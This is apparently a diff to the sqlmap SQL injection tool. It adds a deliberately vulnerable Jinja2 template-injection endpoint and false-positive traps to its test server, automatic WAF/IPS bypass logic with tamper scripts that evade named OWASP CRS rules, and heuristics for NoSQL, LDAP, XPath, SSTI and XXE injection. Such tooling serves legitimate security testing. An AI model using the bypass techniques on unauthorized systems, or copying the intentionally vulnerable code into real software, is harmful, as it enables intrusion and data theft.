self.wfile.write(output.encode(UNICODE_ENCODING))
|
||||
return
|
||||
|
||||
if self.url == "/ssti/search":
|
||||
self.send_response(OK)
|
||||
self.send_header("Content-type", "text/html; charset=%s" % UNICODE_ENCODING)
|
||||
self.send_header("Connection", "close")
|
||||
self.end_headers()
|
||||
|
||||
q = self.params.get("q", "")
|
||||
output = "<html><body>"
|
||||
|
||||
if q:
|
||||
try:
|
||||
from jinja2 import Template
|
||||
# VULNERABLE: unsanitized user input passed to Jinja2 template engine
|
||||
template = Template("Hello " + q)
|
||||
output += template.render()
|
||||
except Exception as ex:
|
||||
# Leak template engine error for error-based detection
|
||||
output += "<b>%s: %s</b>" % (type(ex).__name__, str(ex))
|
||||
else:
|
||||
output += "Hello"
|
||||
|
||||
output += "</body></html>"
|
||||
self.wfile.write(output.encode(UNICODE_ENCODING))
|
||||
return
|
||||
|
||||
if self.url == "/fp":
|
||||
# False-positive battery traps (exercised on demand by '--fp-test'). Every trap is
|
||||
# deliberately NON-injectable but baits a specific FP defense; sqlmap must report "not
|
||||
# injectable" for all of them (each is paired, in FP_TESTS, with a real injectable twin).
|
||||
trap = self.params.get("trap", "reflect")
|
||||
idv = self.params.get("id", "1")
|
||||
|
||||
def _rnd(n=8):
|
||||
return "".join(random.choice("0123456789abcdef") for _ in range(n))
|
||||
|
||||
if trap == "intcast":
|
||||
# parameterized int lookup: id=1 -> row, non-int (e.g. "1 AND 1=1") -> empty. A boolean
|
||||
# payload yields a differential yet it is NOT SQLi -> the false-positive check must reject it.
|
||||
try:
|
||||
hit = int(idv) in (1, 2, 3)
|
||||
except ValueError:
|
||||
hit = False
|
||||
output = "<html><body><b>SQL results:</b><table border=\"1\">%s</table></body></html>" % ("<tr><td>%s</td><td>luther</td><td>blisset</td></tr>" % idv if hit else "")
|
||||
elif trap == "structrand":
|
||||
# heavy dynamic TEXT (defeats dynamic-content removal) + STABLE structure; id is not
|
||||
# reflected into the structure -> stresses the structure-aware comparison oracle.
|
||||
rows = "".join("<tr><td>%s</td><td>%s</td></tr>" % (_rnd(), _rnd()) for _ in range(3))
|
||||
output = ("<html><head><title>Report</title></head><body><div class=\"csrf\">%s</div>"
|
||||
"<nav class=\"top\">token %s</nav><table id=\"grid\" class=\"res\">%s</table>"
|
||||
"<div class=\"foot\">%s</div></body></html>" % (_rnd(), _rnd(), rows, _rnd()))
|
||||
elif trap == "acceptall":
|
||||
# 200 + identical content for EVERYTHING incl. garbage -> the reads-everything-true channel.
|
||||
output = "<html><body><b>OK</b> welcome to the portal</body></html>"
|
||||
elif trap == "reflect":
|
||||
# echoes the parameter verbatim (reflection) with no SQL sink.
|
||||
output = "<html><body>you searched for: %s</body></html>" % idv
|
||||
elif trap == "errors":
|
||||
# DB-error-looking text for any non-baseline input -> baits error-based detection.
|
||||
output = "<html><body>Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result</body></html>" if idv != "1" else "<html><body><b>SQL results:</b><table><tr><td>1</td><td>luther</td></tr></table></body></html>"
|
||||
elif trap == "lengthrand":
|
||||
# response length varies at random (not with the payload) -> baits length-based heuristics.
|
||||
output = "<html><body>ok %s</body></html>" % _rnd(random.choice([4, 40, 400]))
|
||||
elif trap == "slowrand":
|
||||
# random latency, uncorrelated with the payload -> baits time-based detection.
|
||||
time.sleep(random.choice([0, 0, 0, 1]))
|
||||
output = "<html><body>ok %s</body></html>" % _rnd()
|
||||
else:
|
||||
output = "<html><body>?</body></html>"
|
||||
|
||||
self.send_response(OK)
|
||||
self.send_header("Content-type", "text/html; charset=%s" % UNICODE_ENCODING)
|
||||
self.send_header("Connection", "close")
|
||||
self.end_headers()
|
||||
self.wfile.write(output.encode(UNICODE_ENCODING))
|
||||
return
|
||||
|
||||
if self.url == '/':
|
||||
if not any(_ in self.params for _ in ("id", "query")):
|
||||
self.send_response(OK)
|
||||
@@ -229,6 +1105,7 @@ class ReqHandler(BaseHTTPRequestHandler):
|
||||
self.wfile.write(b"<!DOCTYPE html><html><head><title>vulnserver</title></head><body><h3>GET:</h3><a href='/?id=1'>link</a><hr><h3>POST:</h3><form method='post'>ID: <input type='text' name='id'><input type='submit' value='Submit'></form></body></html>")
|
||||
else:
|
||||
code, output = OK, "<body><html>"
|
||||
contentType = "text/html"
|
||||
|
||||
try:
|
||||
if self.params.get("echo", ""):
|
||||
@@ -247,38 +1124,48 @@ class ReqHandler(BaseHTTPRequestHandler):
|
||||
_cursor.execute("SELECT * FROM users WHERE id=%s LIMIT 0, 1" % self.params["id"])
|
||||
results = _cursor.fetchall()
|
||||
|
||||
output += "<b>SQL results:</b><br>\n"
|
||||
|
||||
if self.params.get("code", ""):
|
||||
if not results:
|
||||
if self.params.get("json", ""):
|
||||
# JSON response mode: serialize the SAME query results as application/json
|
||||
# (exercises the structure-aware comparison oracle end to end). HTML branches
|
||||
# below are untouched, so existing tests are unaffected.
|
||||
if self.params.get("code", "") and not results:
|
||||
code = INTERNAL_SERVER_ERROR
|
||||
else:
|
||||
contentType = "application/json"
|
||||
output = json.dumps({"results": [list(row) for row in results], "count": len(results)})
|
||||
else:
|
||||
if results:
|
||||
output += "<table border=\"1\">\n"
|
||||
output += "<b>SQL results:</b><br>\n"
|
||||
|
||||
for row in results:
|
||||
output += "<tr>"
|
||||
for value in row:
|
||||
output += "<td>%s</td>" % value
|
||||
output += "</tr>\n"
|
||||
|
||||
output += "</table>\n"
|
||||
if self.params.get("code", ""):
|
||||
if not results:
|
||||
code = INTERNAL_SERVER_ERROR
|
||||
else:
|
||||
output += "no results found"
|
||||
if results:
|
||||
output += "<table border=\"1\">\n"
|
||||
|
||||
if not results:
|
||||
output = "<title>No results</title>" + output
|
||||
else:
|
||||
output = "<title>Results</title>" + output
|
||||
for row in results:
|
||||
output += "<tr>"
|
||||
for value in row:
|
||||
output += "<td>%s</td>" % value
|
||||
output += "</tr>\n"
|
||||
|
||||
output += "</body></html>"
|
||||
output += "</table>\n"
|
||||
else:
|
||||
output += "no results found"
|
||||
|
||||
if not results:
|
||||
output = "<title>No results</title>" + output
|
||||
else:
|
||||
output = "<title>Results</title>" + output
|
||||
|
||||
output += "</body></html>"
|
||||
except Exception as ex:
|
||||
code = INTERNAL_SERVER_ERROR
|
||||
output = "%s: %s" % (re.search(r"'([^']+)'", str(type(ex))).group(1), ex)
|
||||
|
||||
self.send_response(code)
|
||||
|
||||
self.send_header("Content-type", "text/html")
|
||||
self.send_header("Content-type", contentType)
|
||||
self.send_header("Connection", "close")
|
||||
|
||||
if self.raw_requestline.startswith(b"HEAD"):
|
||||
|
||||
@@ -8,11 +8,14 @@ See the file 'LICENSE' for copying permission
|
||||
from lib.controller.handler import setHandler
|
||||
from lib.core.common import Backend
|
||||
from lib.core.common import Format
|
||||
from lib.core.common import hashDBWrite
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
from lib.core.data import paths
|
||||
from lib.core.enums import CONTENT_TYPE
|
||||
from lib.core.enums import DBMS
|
||||
from lib.core.enums import HASHDB_KEYS
|
||||
from lib.core.exception import SqlmapNoneDataException
|
||||
from lib.core.exception import SqlmapUnsupportedDBMSException
|
||||
from lib.core.settings import SUPPORTED_DBMS
|
||||
@@ -28,10 +31,52 @@ def action():
|
||||
if possible
|
||||
"""
|
||||
|
||||
# HTTP/2 timeless timing ('--timeless'): detection is done and the back-end DBMS is known, so engage
|
||||
# the oracle for this target's extraction (swaps the time-based vector for a tuned heavy one, so all
|
||||
# subsequent extraction reads bits by response order instead of delay). Guarded + calibrated - a no-op
|
||||
# unless '--timeless' is set and the target is usable; disengage() first clears any prior target's.
|
||||
from lib.request import timeless
|
||||
timeless.disengage()
|
||||
if not timeless.autoEngage(): # engages if '--timeless' was given and the target is usable
|
||||
timeless.hintTimeless() # otherwise nudge the user toward '--timeless' if the target fits
|
||||
|
||||
# First of all we have to identify the back-end database management
|
||||
# system to be able to go ahead with the injection
|
||||
# automatic WAF-bypass: if a WAF/IPS is present and the back-end DBMS is already indicated by the error
|
||||
# page or the heuristic checks, skip active fingerprinting (the WAF would just block its payloads
|
||||
# and flood the run with 403s) and assume that DBMS, so the user gets a usable result
|
||||
if kb.wafBypass and not conf.forceDbms:
|
||||
fallback = Backend.getErrorParsedDBMSes() or ([kb.heuristicDbms] if kb.heuristicDbms else [])
|
||||
fallback = next((_ for _ in fallback if _ and _.lower() in SUPPORTED_DBMS), None)
|
||||
if fallback:
|
||||
logger.warning("skipping active back-end DBMS fingerprinting behind the WAF/IPS and assuming '%s' from error/heuristic detection" % fallback)
|
||||
conf.forceDbms = fallback
|
||||
|
||||
setHandler()
|
||||
|
||||
if kb.wafBypass and Backend.getDbms(): # persist the assumed DBMS so a resumed run restores it instead of re-fingerprinting (and dead-ending) behind the WAF
|
||||
hashDBWrite(HASHDB_KEYS.DBMS, Backend.getDbms())
|
||||
|
||||
# automatic WAF-bypass: with MySQL behind the WAF, make data retrieval AND table enumeration survive a
|
||||
# libinjection-class WAF (e.g. OWASP CRS), verified end-to-end through ModSecurity/CRS:
|
||||
# * fingerprinting was skipped, so flag has_information_schema (modern MySQL >=5.0 always has it) -
|
||||
# otherwise enumeration wrongly assumes 'MySQL < 5.0' and bails with "no tables";
|
||||
# * 'blindbinary' reshapes the single-character read ORD(MID())->RIGHT(LEFT())>BINARY 0x.. (sheds the
|
||||
# ORD/MID function names scored by 942151/942190);
|
||||
# * 'infoschema2innodb' moves table enumeration off 'information_schema' (scored by 942140) onto
|
||||
# 'mysql.innodb_table_stats', which is not on those blocklists.
|
||||
# (blindbinary also reshapes PostgreSQL, but full extraction through the CRS proxy garbles there - an
|
||||
# open issue - so PG is not auto-applied; it stays available as manual '--tamper=blindbinary'.)
|
||||
if kb.wafBypass and Backend.getIdentifiedDbms() == DBMS.MYSQL:
|
||||
kb.data.has_information_schema = True
|
||||
if not conf.tamper:
|
||||
from lib.utils.wafbypass import loadTamper
|
||||
for _name in ("blindbinary", "infoschema2innodb"):
|
||||
function = loadTamper(_name)
|
||||
if function is not None and function not in (kb.tamperFunctions or []):
|
||||
kb.tamperFunctions = (kb.tamperFunctions or []) + [function]
|
||||
logger.info("using tamper scripts 'blindbinary' and 'infoschema2innodb' so data retrieval and table enumeration can pass the WAF/IPS")
|
||||
|
||||
if not Backend.getDbms() or not conf.dbmsHandler:
|
||||
htmlParsed = Format.getErrorParsedDBMSes()
|
||||
|
||||
@@ -78,6 +123,9 @@ def action():
|
||||
if conf.getStatements:
|
||||
conf.dumper.statements(conf.dbmsHandler.getStatements())
|
||||
|
||||
if conf.getProcs:
|
||||
conf.dumper.procedures(conf.dbmsHandler.getProcedures())
|
||||
|
||||
if conf.getPasswordHashes:
|
||||
try:
|
||||
conf.dumper.userSettings("database management system users password hashes", conf.dbmsHandler.getPasswordHashes(), "password hash", CONTENT_TYPE.PASSWORDS)
|
||||
|
||||
+175
-14
@@ -16,6 +16,7 @@ from extra.beep.beep import beep
|
||||
from lib.core.agent import agent
|
||||
from lib.core.common import Backend
|
||||
from lib.core.common import extractRegexResult
|
||||
from lib.core.common import extractStructuralTokens
|
||||
from lib.core.common import extractTextTagContent
|
||||
from lib.core.common import filterNone
|
||||
from lib.core.common import findDynamicContent
|
||||
@@ -56,6 +57,7 @@ from lib.core.dicts import HEURISTIC_NULL_EVAL
|
||||
from lib.core.enums import DBMS
|
||||
from lib.core.enums import HASHDB_KEYS
|
||||
from lib.core.enums import HEURISTIC_TEST
|
||||
from lib.core.enums import POST_HINT
|
||||
from lib.core.enums import HTTP_HEADER
|
||||
from lib.core.enums import HTTPMETHOD
|
||||
from lib.core.enums import NOTE
|
||||
@@ -79,14 +81,23 @@ from lib.core.settings import DEFAULT_GET_POST_DELIMITER
|
||||
from lib.core.settings import DUMMY_NON_SQLI_CHECK_APPENDIX
|
||||
from lib.core.settings import FI_ERROR_REGEX
|
||||
from lib.core.settings import FORMAT_EXCEPTION_STRINGS
|
||||
from lib.core.settings import GRAPHQL_ERROR_REGEX
|
||||
from lib.core.settings import HEURISTIC_CHECK_ALPHABET
|
||||
from lib.core.settings import INFERENCE_EQUALS_CHAR
|
||||
from lib.core.settings import LDAP_ERROR_REGEX
|
||||
from lib.core.settings import SSTI_ERROR_REGEX
|
||||
from lib.core.settings import XPATH_ERROR_REGEX
|
||||
from lib.core.settings import XXE_ERROR_REGEX
|
||||
from lib.core.settings import IPS_WAF_CHECK_PAYLOAD
|
||||
from lib.core.settings import IPS_WAF_CHECK_RATIO
|
||||
from lib.core.settings import IPS_WAF_CHECK_TIMEOUT
|
||||
from lib.core.settings import MAX_DIFFLIB_SEQUENCE_LENGTH
|
||||
from lib.core.settings import MAX_STABILITY_DELAY
|
||||
from lib.core.settings import NON_SQLI_CHECK_PREFIX_SUFFIX_LENGTH
|
||||
from lib.core.settings import NOSQL_ERROR_REGEX
|
||||
from lib.core.settings import NULL_CONNECTION_LENGTH_TOLERANCE_HIGH
|
||||
from lib.core.settings import NULL_CONNECTION_LENGTH_TOLERANCE_LOW
|
||||
from lib.core.settings import NULL_CONNECTION_SKIP_READ_MIN_LENGTH
|
||||
from lib.core.settings import PRECONNECT_INCOMPATIBLE_SERVERS
|
||||
from lib.core.settings import SINGLE_QUOTE_MARKER
|
||||
from lib.core.settings import SLEEP_TIME_MARKER
|
||||
@@ -94,12 +105,14 @@ from lib.core.settings import SUHOSIN_MAX_VALUE_LENGTH
|
||||
from lib.core.settings import SUPPORTED_DBMS
|
||||
from lib.core.settings import UPPER_RATIO_BOUND
|
||||
from lib.core.settings import URI_HTTP_HEADER
|
||||
from lib.core.settings import WAF_BLOCK_HTTP_CODES
|
||||
from lib.core.threads import getCurrentThreadData
|
||||
from lib.core.unescaper import unescaper
|
||||
from lib.request.connect import Connect as Request
|
||||
from lib.request.comparison import comparison
|
||||
from lib.request.inject import checkBooleanExpression
|
||||
from lib.request.templates import getPageTemplate
|
||||
from lib.utils.dialect import dialectCheckDbms
|
||||
from lib.techniques.union.test import unionTest
|
||||
from lib.techniques.union.use import configUnion
|
||||
from thirdparty import six
|
||||
@@ -149,6 +162,13 @@ def checkSqlInjection(place, parameter, value):
|
||||
if not Backend.getIdentifiedDbms() and kb.heuristicDbms is None and not kb.droppingRequests:
|
||||
kb.heuristicDbms = heuristicCheckDbms(injection)
|
||||
|
||||
# keyword-free fallback: heuristicCheckDbms() above uses SELECT/quote payloads
|
||||
# and is skipped when the WAF/IPS is dropping requests; the operator-dialect
|
||||
# probes carry no SELECT/quote/schema name, so they can still narrow the DBMS in
|
||||
# that case (or when it was inconclusive), using the now-calibrated boolean oracle
|
||||
if not Backend.getIdentifiedDbms() and kb.heuristicDbms is None:
|
||||
kb.heuristicDbms = dialectCheckDbms(injection)
|
||||
|
||||
# If the DBMS has already been fingerprinted (via DBMS-specific
|
||||
# error message, simple heuristic check or via DBMS-specific
|
||||
# payload), ask the user to limit the tests to the fingerprinted
|
||||
@@ -580,6 +600,18 @@ def checkSqlInjection(place, parameter, value):
|
||||
break
|
||||
|
||||
if injectable:
|
||||
# WAF/IPS block-artifact guard: a TRUE condition (the always-true payload that
|
||||
# mimics a legitimate request) coming back with a blocked HTTP status (e.g. 403)
|
||||
# while the FALSE condition passes (2xx) is the WAF answering, not the database.
|
||||
# A real boolean injection's TRUE condition reproduces the normal page, so this
|
||||
# status-code asymmetry is the classic false positive - refuse it here.
|
||||
if not kb.negativeLogic and trueCode in WAF_BLOCK_HTTP_CODES and (falseCode or 0) < 400 and (kb.heuristicCode or 200) < 400:
|
||||
warnMsg = "%sparameter '%s' TRUE/FALSE responses differ only by a blocked HTTP %d vs %d status, " % ("%s " % paramType if paramType != parameter else "", parameter, trueCode, falseCode)
|
||||
warnMsg += "which is characteristic of a WAF/IPS block rather than a SQL injection; skipping as a likely false positive"
|
||||
logger.warning(warnMsg)
|
||||
injectable = False
|
||||
continue
|
||||
|
||||
if kb.pageStable and not any((conf.string, conf.notString, conf.regexp, conf.code, conf.titles, kb.nullConnection)):
|
||||
if all((falseCode, trueCode)) and falseCode != trueCode and trueCode != kb.heuristicCode:
|
||||
suggestion = conf.code = trueCode
|
||||
@@ -1149,6 +1181,48 @@ def heuristicCheckSqlInjection(place, parameter):
|
||||
except (SystemError, RuntimeError) as ex:
|
||||
logger.debug("Skipping FI heuristic due to regex failure: %s", getSafeExString(ex))
|
||||
|
||||
if not conf.nosql and re.search(NOSQL_ERROR_REGEX, page or ""):
|
||||
infoMsg = "heuristic (NoSQL) test shows that %sparameter '%s' might be vulnerable to NoSQL injection attacks (rerun with switch '--nosql')" % ("%s " % paramType if paramType != parameter else "", parameter)
|
||||
logger.info(infoMsg)
|
||||
|
||||
if conf.beep:
|
||||
beep()
|
||||
|
||||
if not conf.graphql and re.search(GRAPHQL_ERROR_REGEX, page or ""):
|
||||
infoMsg = "heuristic (GraphQL) test shows that %sparameter '%s' appears to be a GraphQL endpoint (rerun with switch '--graphql')" % ("%s " % paramType if paramType != parameter else "", parameter)
|
||||
logger.info(infoMsg)
|
||||
|
||||
if conf.beep:
|
||||
beep()
|
||||
|
||||
if not conf.ldap and re.search(LDAP_ERROR_REGEX, page or ""):
|
||||
infoMsg = "heuristic (LDAP) test shows that %sparameter '%s' might be vulnerable to LDAP injection (rerun with switch '--ldap')" % ("%s " % paramType if paramType != parameter else "", parameter)
|
||||
logger.info(infoMsg)
|
||||
|
||||
if conf.beep:
|
||||
beep()
|
||||
|
||||
if not conf.xpath and re.search(XPATH_ERROR_REGEX, page or ""):
|
||||
infoMsg = "heuristic (XPath) test shows that %sparameter '%s' might be vulnerable to XPath injection (rerun with switch '--xpath')" % ("%s " % paramType if paramType != parameter else "", parameter)
|
||||
logger.info(infoMsg)
|
||||
|
||||
if conf.beep:
|
||||
beep()
|
||||
|
||||
if not conf.ssti and re.search(SSTI_ERROR_REGEX, page or ""):
|
||||
infoMsg = "heuristic (SSTI) test shows that %sparameter '%s' might be vulnerable to server-side template injection (rerun with switch '--ssti')" % ("%s " % paramType if paramType != parameter else "", parameter)
|
||||
logger.info(infoMsg)
|
||||
|
||||
if conf.beep:
|
||||
beep()
|
||||
|
||||
if not conf.xxe and kb.postHint in (POST_HINT.XML, POST_HINT.SOAP) and re.search(XXE_ERROR_REGEX, page or ""):
|
||||
infoMsg = "heuristic (XXE) test shows that the XML request body might be vulnerable to XML External Entity injection (rerun with switch '--xxe')"
|
||||
logger.info(infoMsg)
|
||||
|
||||
if conf.beep:
|
||||
beep()
|
||||
|
||||
kb.disableHtmlDecoding = False
|
||||
kb.heuristicMode = False
|
||||
|
||||
@@ -1209,7 +1283,9 @@ def checkDynamicContent(firstPage, secondPage):
|
||||
seqMatcher.set_seq1(firstPage)
|
||||
seqMatcher.set_seq2(secondPage)
|
||||
ratio = seqMatcher.quick_ratio()
|
||||
except MemoryError:
|
||||
except (MemoryError, TypeError, SystemError, ValueError, AttributeError):
|
||||
# difflib can fail on pathological input or, rarely, with interpreter-level
|
||||
# errors under heavy threading; degrade to "undetermined" instead of crashing
|
||||
ratio = None
|
||||
|
||||
if ratio is None:
|
||||
@@ -1224,6 +1300,27 @@ def checkDynamicContent(firstPage, secondPage):
|
||||
count += 1
|
||||
|
||||
if count > conf.retries:
|
||||
# Last resort before the (lossy) '--text-only' fallback: if the page is byte-unstable
|
||||
# but STRUCTURALLY stable - an identical, non-empty tag/class/id skeleton across
|
||||
# requests - base the comparison on that value-free structure instead. Dynamic text
|
||||
# (e.g. per-render result rows) then no longer masks an injection whose signal is
|
||||
# structural (the HTML counterpart of the structure-aware JSON comparison). Content
|
||||
# with no usable structure (empty skeleton, e.g. random/binary bodies) falls through
|
||||
# to '--text-only' as before.
|
||||
skeleton = extractStructuralTokens(firstPage)
|
||||
if skeleton and skeleton == extractStructuralTokens(secondPage):
|
||||
kb.pageStructurallyStable = True
|
||||
|
||||
if kb.nullConnection:
|
||||
debugMsg = "turning off NULL connection support because of structural page comparison"
|
||||
logger.debug(debugMsg)
|
||||
kb.nullConnection = None
|
||||
|
||||
infoMsg = "target URL content is not byte-stable but structurally stable; sqlmap "
|
||||
infoMsg += "will base the page comparison on the page structure"
|
||||
logger.info(infoMsg)
|
||||
return
|
||||
|
||||
warnMsg = "target URL content appears to be too dynamic. "
|
||||
warnMsg += "Switching to '--text-only' "
|
||||
logger.warning(warnMsg)
|
||||
@@ -1351,6 +1448,10 @@ def checkWaf():
|
||||
warnMsg = "previous heuristics detected that the target "
|
||||
warnMsg += "is protected by some kind of WAF/IPS"
|
||||
logger.critical(warnMsg)
|
||||
if hashDBRetrieve(HASHDB_KEYS.CHECK_WAF_BYPASS, True): # re-apply a previously accepted automatic bypass
|
||||
from lib.utils.wafbypass import neutralizeFingerprint
|
||||
kb.wafBypass = True
|
||||
neutralizeFingerprint()
|
||||
return _
|
||||
|
||||
if not kb.originalPage:
|
||||
@@ -1393,6 +1494,7 @@ def checkWaf():
|
||||
|
||||
hashDBWrite(HASHDB_KEYS.CHECK_WAF_RESULT, retVal, True)
|
||||
|
||||
|
||||
if retVal:
|
||||
if not kb.identifiedWafs:
|
||||
warnMsg = "heuristics detected that the target "
|
||||
@@ -1406,9 +1508,19 @@ def checkWaf():
|
||||
if not choice:
|
||||
raise SqlmapUserQuitException
|
||||
else:
|
||||
if not conf.tamper:
|
||||
warnMsg = "please consider usage of tamper scripts (option '--tamper')"
|
||||
singleTimeWarnMessage(warnMsg)
|
||||
if not conf.tamper and not kb.tamperFunctions:
|
||||
message = "do you want sqlmap to try to automatically bypass the WAF/IPS during "
|
||||
message += "the run (e.g. by using a non-scanner User-Agent and tamper script(s))? [Y/n] "
|
||||
kb.wafBypass = readInput(message, default='Y', boolean=True)
|
||||
hashDBWrite(HASHDB_KEYS.CHECK_WAF_BYPASS, kb.wafBypass, True)
|
||||
if kb.wafBypass:
|
||||
# apply it up-front so the whole run (detection included) avoids the scanner
|
||||
# fingerprint, instead of getting blocked first and only then retrying
|
||||
from lib.utils.wafbypass import neutralizeFingerprint
|
||||
neutralizeFingerprint()
|
||||
logger.info("using a random (non-scanner) User-Agent and browser-like headers to bypass the WAF/IPS")
|
||||
else:
|
||||
singleTimeWarnMessage("please consider manual usage of tamper scripts (option '--tamper')")
|
||||
|
||||
return retVal
|
||||
|
||||
@@ -1436,30 +1548,79 @@ def checkNullConnection():
|
||||
pushValue(kb.pageCompress)
|
||||
kb.pageCompress = False
|
||||
|
||||
# A method is accepted only if the length it reports tracks the real GET response. The
|
||||
# original page length (len(kb.originalPage)) is the reference; a method whose length is
|
||||
# grossly off (e.g. HEAD returning 'Content-Length: 0', HEAD served from a different code
|
||||
# path, or sneaked-in compression) would otherwise make every page look identical and
|
||||
# silently break detection. The band is coarse on purpose (byte-vs-character size and
|
||||
# moderate page dynamism are expected); a false reject just forgoes the optimization
|
||||
def _plausibleLength(length):
|
||||
reference = len(kb.originalPage or "")
|
||||
if not reference:
|
||||
return True
|
||||
return NULL_CONNECTION_LENGTH_TOLERANCE_LOW * reference <= length <= NULL_CONNECTION_LENGTH_TOLERANCE_HIGH * reference
|
||||
|
||||
try:
|
||||
page, headers, _ = Request.getPage(method=HTTPMETHOD.HEAD, raise404=False)
|
||||
|
||||
if not page and HTTP_HEADER.CONTENT_LENGTH in (headers or {}):
|
||||
kb.nullConnection = NULLCONNECTION.HEAD
|
||||
try:
|
||||
length = int(headers[HTTP_HEADER.CONTENT_LENGTH].split(',')[0])
|
||||
except ValueError:
|
||||
length = None
|
||||
|
||||
infoMsg = "NULL connection is supported with HEAD method ('Content-Length')"
|
||||
logger.info(infoMsg)
|
||||
else:
|
||||
if length is not None and _plausibleLength(length):
|
||||
kb.nullConnection = NULLCONNECTION.HEAD
|
||||
|
||||
infoMsg = "NULL connection is supported with HEAD method ('Content-Length')"
|
||||
logger.info(infoMsg)
|
||||
elif length is not None:
|
||||
debugMsg = "HEAD method reports an implausible 'Content-Length' (%d B vs ~%d B for the original page); skipping it" % (length, len(kb.originalPage or ""))
|
||||
logger.debug(debugMsg)
|
||||
|
||||
if kb.nullConnection is None:
|
||||
page, headers, _ = Request.getPage(auxHeaders={HTTP_HEADER.RANGE: "bytes=-1"})
|
||||
|
||||
if page and len(page) == 1 and HTTP_HEADER.CONTENT_RANGE in (headers or {}):
|
||||
kb.nullConnection = NULLCONNECTION.RANGE
|
||||
try:
|
||||
length = int(headers[HTTP_HEADER.CONTENT_RANGE][headers[HTTP_HEADER.CONTENT_RANGE].find('/') + 1:])
|
||||
except ValueError:
|
||||
length = None
|
||||
|
||||
infoMsg = "NULL connection is supported with GET method ('Range')"
|
||||
logger.info(infoMsg)
|
||||
else:
|
||||
_, headers, _ = Request.getPage(skipRead=True)
|
||||
if length is not None and _plausibleLength(length):
|
||||
kb.nullConnection = NULLCONNECTION.RANGE
|
||||
|
||||
if HTTP_HEADER.CONTENT_LENGTH in (headers or {}):
|
||||
infoMsg = "NULL connection is supported with GET method ('Range')"
|
||||
logger.info(infoMsg)
|
||||
elif length is not None:
|
||||
debugMsg = "'Range' method reports an implausible total length (%d B vs ~%d B for the original page); skipping it" % (length, len(kb.originalPage or ""))
|
||||
logger.debug(debugMsg)
|
||||
|
||||
if kb.nullConnection is None:
|
||||
_, headers, _ = Request.getPage(skipRead=True)
|
||||
|
||||
if HTTP_HEADER.CONTENT_LENGTH in (headers or {}):
|
||||
try:
|
||||
length = int(headers[HTTP_HEADER.CONTENT_LENGTH].split(',')[0])
|
||||
except ValueError:
|
||||
length = len(kb.originalPage or "")
|
||||
|
||||
if not _plausibleLength(length):
|
||||
debugMsg = "'skip-read' method reports an implausible 'Content-Length' (%d B vs ~%d B for the original page); skipping it" % (length, len(kb.originalPage or ""))
|
||||
logger.debug(debugMsg)
|
||||
# Unlike HEAD/Range, 'skip-read' leaves the body unread and must close the
|
||||
# connection (an unread body cannot be reused), paying a fresh TCP/TLS handshake
|
||||
# per request. That only outweighs the avoided body transfer for large responses;
|
||||
# for small ones it is a net slowdown, so it is gated by the response size here
|
||||
elif length >= NULL_CONNECTION_SKIP_READ_MIN_LENGTH:
|
||||
kb.nullConnection = NULLCONNECTION.SKIP_READ
|
||||
|
||||
infoMsg = "NULL connection is supported with 'skip-read' method"
|
||||
logger.info(infoMsg)
|
||||
else:
|
||||
debugMsg = "'skip-read' NULL connection method is available but skipped because the "
|
||||
debugMsg += "response (%d B) is too small for it to outweigh the per-request reconnect cost" % length
|
||||
logger.debug(debugMsg)
|
||||
|
||||
except SqlmapConnectionException:
|
||||
pass
|
||||
|
||||
@@ -41,6 +41,7 @@ from lib.core.common import readInput
|
||||
from lib.core.common import removePostHintPrefix
|
||||
from lib.core.common import safeCSValue
|
||||
from lib.core.common import showHttpErrorCodes
|
||||
from lib.core.common import singleTimeWarnMessage
|
||||
from lib.core.common import urldecode
|
||||
from lib.core.common import urlencode
|
||||
from lib.core.compat import xrange
|
||||
@@ -70,11 +71,13 @@ from lib.core.settings import CSRF_TOKEN_PARAMETER_INFIXES
|
||||
from lib.core.settings import DEFAULT_GET_POST_DELIMITER
|
||||
from lib.core.settings import EMPTY_FORM_FIELDS_REGEX
|
||||
from lib.core.settings import GOOGLE_ANALYTICS_COOKIE_REGEX
|
||||
from lib.core.settings import HASHDB_STALE_DAYS
|
||||
from lib.core.settings import HOST_ALIASES
|
||||
from lib.core.settings import IGNORE_PARAMETERS
|
||||
from lib.core.settings import LOW_TEXT_PERCENT
|
||||
from lib.core.settings import REFERER_ALIASES
|
||||
from lib.core.settings import USER_AGENT_ALIASES
|
||||
from lib.core.settings import WAF_BYPASS_MAX_TRIALS
|
||||
from lib.core.target import initTargetEnv
|
||||
from lib.core.target import setupTargetEnv
|
||||
from lib.utils.hash import crackHashFile
|
||||
@@ -167,6 +170,57 @@ def _formatInjection(inj):
|
||||
|
||||
return data
|
||||
|
||||
def _autoWafBypass(place, parameter, value):
|
||||
"""
|
||||
Automatic WAF/IPS bypass (offered interactively once a WAF/IPS is detected, cached in
|
||||
kb.wafBypass). The request fingerprint has already been neutralized up-front (non-scanner
|
||||
User-Agent, see checkWaf), so here the empirically-ranked candidate tamper scripts are trialled
|
||||
and the first that RESTORES a confirmed injection is adopted. Re-running checkSqlInjection()
|
||||
through a candidate is itself the validation - it succeeds only if the resulting payload both
|
||||
passes the WAF and stays valid SQL, so junk/incompatible candidates are rejected automatically.
|
||||
"""
|
||||
|
||||
from lib.utils.wafbypass import candidateTampers, loadTamper
|
||||
|
||||
retVal = None
|
||||
|
||||
savedTamper = kb.tamperFunctions
|
||||
savedTechnique = conf.technique
|
||||
conf.technique = [PAYLOAD.TECHNIQUE.BOOLEAN] # bound each trial to a quick boolean re-check
|
||||
|
||||
candidates = candidateTampers(identifiedWafs=kb.identifiedWafs)
|
||||
|
||||
try:
|
||||
for count, name in enumerate(candidates):
|
||||
if count >= WAF_BYPASS_MAX_TRIALS:
|
||||
break
|
||||
|
||||
function = loadTamper(name)
|
||||
if function is None:
|
||||
continue
|
||||
|
||||
kb.tamperFunctions = [function]
|
||||
logger.info("trying to bypass the WAF/IPS with tamper script '%s'" % name)
|
||||
|
||||
injection = checkSqlInjection(place, parameter, value)
|
||||
if getattr(injection, "place", None) is not None and NOTE.FALSE_POSITIVE_OR_UNEXPLOITABLE not in injection.notes:
|
||||
logger.info("bypassed the WAF/IPS by using tamper script '%s' (with a non-scanner User-Agent)" % name)
|
||||
logger.info("the same result can be reproduced manually with switch '--random-agent' and tamper script '%s'" % name)
|
||||
retVal = injection
|
||||
return retVal
|
||||
|
||||
if kb.droppingRequests and count >= 2:
|
||||
logger.warning("target keeps dropping requests; giving up on the WAF/IPS bypass")
|
||||
break
|
||||
finally:
|
||||
conf.technique = savedTechnique
|
||||
if retVal is None: # nothing worked - leave tampering untouched
|
||||
